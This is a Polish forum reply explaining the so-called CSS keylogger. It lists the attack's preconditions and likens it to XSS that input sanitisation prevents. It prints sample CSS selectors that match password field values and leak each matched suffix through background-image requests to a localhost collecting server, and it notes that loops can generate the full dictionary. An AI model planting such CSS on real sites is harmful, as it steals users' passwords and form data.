Hej
Określenie "CSS Keylogger" jest chwytliwe, ale troche mylne. To prawda, że można wyciągać dane z formularzy za pomocą cssa i przesyłać je na serwer, ale musi zostać spełnione do tego kilka warunków:
- Osoba dokonująca ataku musi umieścić na stronie swój kod css
- Jeżeli chodzi o pozyskiwanie haseł, to potrzebny jest jeszcze dostęp do kodu JS strony, albo hasło musi być dodatkowo przetrzymywane np. w atrybucie value.
- Dane mogą być wyciągane z tylko ze strony na której taki "złośliwy css" jest umieszczony.
Mówiąc w skrócie, to taki cssowy XSS, czyli nic strasznego, jeżeli dbasz o odpowiednie oczyszczanie danych wejściowych na stronie.
Co do wielkości takiego pliku css to jest z tym różnie w zależności od tego jakie dane ktoś chce pozyskać. Problem jest taki, że w kodzie css musi się znaleźć coś w stylu słownika z każdą możliwą wartością jaka ma zostać wysłana. Dlatego pole które może mieć 5-10 znaków wymaga innego pliku css, a innego pole z numerem karty gdzie liczba znaków jest określona (chyba bo nie używam) Np.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
background-image: url("http://localhost:3000/c");
}
/** aż do z **/
input[type="password"][value$="aa"] {
background-image: url("http://localhost:3000/aa");
}
input[type="password"][value$="ab"] {
background-image: url("http://localhost:3000/ab");
}
input[type="password"][value$="ac"] {
background-image: url("http://localhost:3000/ac");
}
/** I tak do znudzenia **/
Kod działa tak, że ktoś trafia w wartość np. "ab" i pobierany jest wtedy jako background obrazek z serwera czyli http://localhost:3000/ab. Interesuje nas tylko sam request z wartością podaną w adresie. Takie żądania trzeba przechwytywać i zapisywać. Potem w bazie jest informacja, że spod takiego adresu ip. ktoś wpisał w pole password wartość "ab".
PS. Taki kod to wcale nie jest dużo pisania. Wystarczy podstatowa znajomość SCSSa albo LESSa, tablica ze znakami, dwie pętle i ewentualnie jakieś dodatkowe wymagania w zależności od typu pola jaki nas interesuje.